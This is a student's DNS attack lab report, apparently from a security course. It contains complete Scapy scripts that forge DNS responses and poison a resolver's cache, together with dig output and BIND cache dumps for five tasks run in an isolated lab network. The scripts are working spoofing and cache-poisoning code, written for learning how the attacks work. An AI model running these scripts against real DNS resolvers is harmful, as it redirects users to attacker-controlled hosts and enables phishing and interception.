Local DNS Attack Lab

57118212 晏宇珂

Testing the DNS Setup

Get the IP address of ns.attacker32.com:

```
root@4d2ba1f3a3ef:/# dig ns.attacker32.com

; <<>> DiG 9.16.1-Ubuntu <<>> ns.attacker32.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 26325
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: d1ec9dd64ea68cf30100000060f544f72c24bee04753d020 (good)
;; QUESTION SECTION:
;ns.attacker32.com.             IN      A

;; ANSWER SECTION:
ns.attacker32.com.      259200  IN      A       10.9.0.153

;; Query time: 12 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Mon Jul 19 09:25:11 UTC 2021
;; MSG SIZE  rcvd: 90
```

Get the IP address of www.example.com:

本地DNS服务器不能查到

```
root@4d2ba1f3a3ef:/# dig www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; connection timed out; no servers could be reached
```

可以从攻击者的域名服务器上查到

```
root@4d2ba1f3a3ef:/# dig @ns.attacker32.com www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> @ns.attacker32.com www.example.com
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 49855
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 53bebe5fa302b7f20100000060f545b1fd595a6fde7d6c72 (good)
;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        259200  IN      A       1.2.3.5

;; Query time: 0 msec
;; SERVER: 10.9.0.153#53(10.9.0.153)
;; WHEN: Mon Jul 19 09:28:17 UTC 2021
;; MSG SIZE  rcvd: 88
```

Task 1: Directly Spoofing Response to User

代码如下：

```python
from scapy.all import *

NS_NAME = "example.com"

def spoof_dns(pkt):
    if(DNS in pkt and NS_NAME in pkt[DNS].qd.qname.decode('utf-8')):
        print(pkt.sprintf("{DNS: %ip.src% --> %IP.dst%: %DNS.id%}"))
        ip = IP(dst=pkt[IP].src, src=pkt[IP].dst)
        udp = UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)
        Anssc = DNSRR(rrname=pkt[DNS].qd.qname, type='A', ttl=259200, rdata='10.9.0.153')
        dns = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1, qdcount=1, ancount=1, an=Anssc)
        spoofpkt = ip/udp/dns
        send(spoofpkt)

myFilter="src host 10.9.0.5 and dst host 10.9.0.53"
pkt=sniff(iface='br-0be41844694e',filter=myFilter,prn=spoof_dns)
```

攻击成功：

```
root@4d2ba1f3a3ef:/# dig www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 52782
;; flags: qr aa; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        259200  IN      A       1.2.3.5

;; Query time: 79 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Mon Jul 19 10:38:40 UTC 2021
;; MSG SIZE  rcvd: 64
```

Task 2: DNS Cache Poisoning Attack-Spoofing Answers

代码如下：

```python
from scapy.all import *

NS_NAME = "example.com"

def spoof_dns(pkt):
    if(DNS in pkt and NS_NAME in pkt[DNS].qd.qname.decode('utf-8')):
        print(pkt.sprintf("{DNS: %ip.src% --> %IP.dst%: %DNS.id%}"))
        ip = IP(dst=pkt[IP].src, src=pkt[IP].dst)
        udp = UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)
        Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A', ttl=259200, rdata='1.2.3.5')
        NSsec = DNSRR(rrname='example.com', type='NS', ttl=259200, rdata='ns.attacker32.com')
        dns = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1, qdcount=1, ancount=1, nscount=1,  an=Anssec, ns=NSsec)
        spoofpkt = ip/udp/dns
        send(spoofpkt)

myFilter="udp and dst port 53"
pkt=sniff(iface='br-0be41844694e',filter=myFilter,prn=spoof_dns)
```

攻击前，删除DNS服务器缓存：

```
rndc flush
```

攻击成功，且缓存中能找到：

```
root@4d2ba1f3a3ef:/# dig www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 40005
;; flags: qr aa; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 0

;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        259200  IN      A       1.2.3.5

;; AUTHORITY SECTION:
example.com.            259200  IN      NS      ns.attacker32.com.

;; Query time: 79 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Mon Jul 19 10:56:14 UTC 2021
;; MSG SIZE  rcvd: 106
```

```
root@d94acdb64f5c:/# cat /var/cache/bind/dump.db | grep example
example.com.            863994  NS      ns.attacker32.com.
_.example.com.          863994  A       1.2.3.5
```

Task 3: Spoofing NS Records

example.com结尾的域名都能查到：

```
root@4d2ba1f3a3ef:/# dig mail.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> mail.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 57244
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: ebaafc216d8e61a40100000060f55dc058e9af58971fa9e7 (good)
;; QUESTION SECTION:
;mail.example.com.              IN      A

;; ANSWER SECTION:
mail.example.com.       259200  IN      A       1.2.3.6

;; Query time: 103 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Mon Jul 19 11:10:56 UTC 2021
;; MSG SIZE  rcvd: 89
```

Task 4:Spoofing NS Records for Another Domain

都能攻击成功：

```
root@4d2ba1f3a3ef:/# dig www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 59027
;; flags: qr aa; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 0

;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        259200  IN      A       1.2.3.5

;; AUTHORITY SECTION:
example.com.            259200  IN      NS      ns.attacker32.com.
google.com.             259200  IN      NS      ns.attacker32.com.

;; Query time: 55 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Mon Jul 19 11:22:51 UTC 2021
;; MSG SIZE  rcvd: 147
```

更换代码顺序，只能缓存前面的那个：

```python
from scapy.all import *

NS_NAME = "example.com"

def spoof_dns(pkt):
    if(DNS in pkt and NS_NAME in pkt[DNS].qd.qname.decode('utf-8')):
        print(pkt.sprintf("{DNS: %ip.src% --> %IP.dst%: %DNS.id%}"))
        ip = IP(dst=pkt[IP].src, src=pkt[IP].dst)
        udp = UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)
        Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A', ttl=259200, rdata='1.2.3.5')
        NSsec1 = DNSRR(rrname='example.com', type='NS', ttl=259200, rdata='ns.attacker32.com')
        NSsec2 = DNSRR(rrname='google.com', type='NS', ttl=259200, rdata='ns.attacker32.com')
        dns = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1, qdcount=1, ancount=1, nscount=2, an=Anssec, ns=NSsec1/NSsec2)
        spoofpkt = ip/udp/dns
        send(spoofpkt)

myFilter="udp and dst port 53"
pkt=sniff(iface='br-0be41844694e',filter=myFilter,prn=spoof_dns)
```

```
$DATE 20210712112312
; answer
ns.attacker32.com.      615589  IN \-AAAA ;-$NXRRSET
; attacker32.com. SOA ns.attacker32.com. admin.attacker32.com. 2008111001 28800 7200 2419200 86400
; authanswer
                        863989  IN A    10.9.0.153
; authauthority
example.com.            863989  NS      ns.attacker32.com.
; authanswer
_.example.com.          863989  A       1.2.3.5
;
; Address database dump
;
; [edns success/4096 timeout/1432 timeout/1232 timeout/512 timeout]
; [plain success/timeout]
;
; ns.attacker32.com [v4 TTL 1789] [v6 TTL 10789] [v4 success] [v6 nxrrset]
;       10.9.0.153 [srtt 15] [flags 00000000] [edns 0/0/0/0/0] [plain 0/0]
;
```

```python
from scapy.all import *

NS_NAME = "example.com"

def spoof_dns(pkt):
    if(DNS in pkt and NS_NAME in pkt[DNS].qd.qname.decode('utf-8')):
        print(pkt.sprintf("{DNS: %ip.src% --> %IP.dst%: %DNS.id%}"))
        ip = IP(dst=pkt[IP].src, src=pkt[IP].dst)
        udp = UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)
        Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A', ttl=259200, rdata='1.2.3.5')
        NSsec1 = DNSRR(rrname='google.com', type='NS', ttl=259200, rdata='ns.attacker32.com')
        NSsec2 = DNSRR(rrname='example.com', type='NS', ttl=259200, rdata='ns.attacker32.com')
        dns = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1, qdcount=1, ancount=1, nscount=2, an=Anssec, ns=NSsec1/NSsec2)
        spoofpkt = ip/udp/dns
        send(spoofpkt)

myFilter="udp and dst port 53"
pkt=sniff(iface='br-0be41844694e',filter=myFilter,prn=spoof_dns)
```

```
root@d94acdb64f5c:/# cat /var/cache/bind/dump.db
;
; Start view _default
;
;
; Cache dump of view '_default' (cache _default)
;
; using a 604800 second stale ttl
$DATE 20210712112545
; authanswer
_.example.com.          863991  IN A    1.2.3.5
; authauthority
google.com.             863991  NS      ns.attacker32.com.
;
; Address database dump
;
; [edns success/4096 timeout/1432 timeout/1232 timeout/512 timeout]
; [plain success/timeout]
;
```

Task 5: Spoofing Records in the Additional Section

代码如下：

```
from scapy.all import *

NS_NAME = "example.com"

def spoof_dns(pkt):
    if(DNS in pkt and NS_NAME in pkt[DNS].qd.qname.decode('utf-8')):
        print(pkt.sprintf("{DNS: %ip.src% --> %IP.dst%: %DNS.id%}"))
        ip = IP(dst=pkt[IP].src, src=pkt[IP].dst)
        udp = UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)
        Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A', ttl=259200, rdata='1.2.3.5')
        NSsec1 = DNSRR(rrname='example.com', type='NS', ttl=259200, rdata='ns.attacker32.com')
        NSsec2 = DNSRR(rrname='example.com', type='NS', ttl=259200, rdata='ns.example.com')
        Addsec1 = DNSRR(rrname='attacker32.com', type='A', ttl=259200, rdata='10.9.0.153')
        Addsec2 = DNSRR(rrname='ns.example.com', type='A', ttl=259200, rdata='5.6.7.8')
        Addsec3 = DNSRR(rrname='www.facebook.com', type='A', ttl=259200, rdata='3.4.5.6')
        dns = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1, qdcount=1, ancount=1, nscount=2, arcount=3, an=Anssec, ns=NSsec1/NSsec2, ar=Addsec1/Addsec2/Addsec3)
        spoofpkt = ip/udp/dns
        send(spoofpkt)

myFilter="udp and dst port 53"
pkt=sniff(iface='br-0be41844694e',filter=myFilter,prn=spoof_dns)
```

```
root@4d2ba1f3a3ef:/# dig www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 54604
;; flags: qr aa; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 3

;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        259200  IN      A       1.2.3.5

;; AUTHORITY SECTION:
example.com.            259200  IN      NS      ns.attacker32.com.
example.com.            259200  IN      NS      ns.example.com.

;; ADDITIONAL SECTION:
attacker32.com.         259200  IN      A       10.9.0.153
ns.example.com.         259200  IN      A       5.6.7.8
www.facebook.com.       259200  IN      A       3.4.5.6

;; Query time: 63 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Mon Jul 19 11:48:37 UTC 2021
;; MSG SIZE  rcvd: 237
```

只能缓存和授权域名服务器相关的：

```
$DATE 20210712114855
; answer
ns.attacker32.com.      615592  IN \-AAAA ;-$NXRRSET
; attacker32.com. SOA ns.attacker32.com. admin.attacker32.com. 2008111001 28800 7200 2419200 86400
; authanswer
                        863992  IN A    10.9.0.153
; authauthority
example.com.            863992  NS      ns.example.com.
                        863992  NS      ns.attacker32.com.
; authanswer
_.example.com.          863992  A       1.2.3.5
; authanswer
ns.example.com.         863992  A       1.2.3.5
;
; Address database dump
;
; [edns success/4096 timeout/1432 timeout/1232 timeout/512 timeout]
; [plain success/timeout]
;
; ns.attacker32.com [v4 TTL 1792] [v6 TTL 10792] [v4 success] [v6 nxrrset]
;       10.9.0.153 [srtt 18] [flags 00000000] [edns 0/0/0/0/0] [plain 0/0]
; ns.example.com [v4 TTL 1792] [v6 TTL 2] [v4 success] [v6 failure]
;       1.2.3.5 [srtt 30] [flags 00000000] [edns 0/0/0/0/0] [plain 0/0]
;
```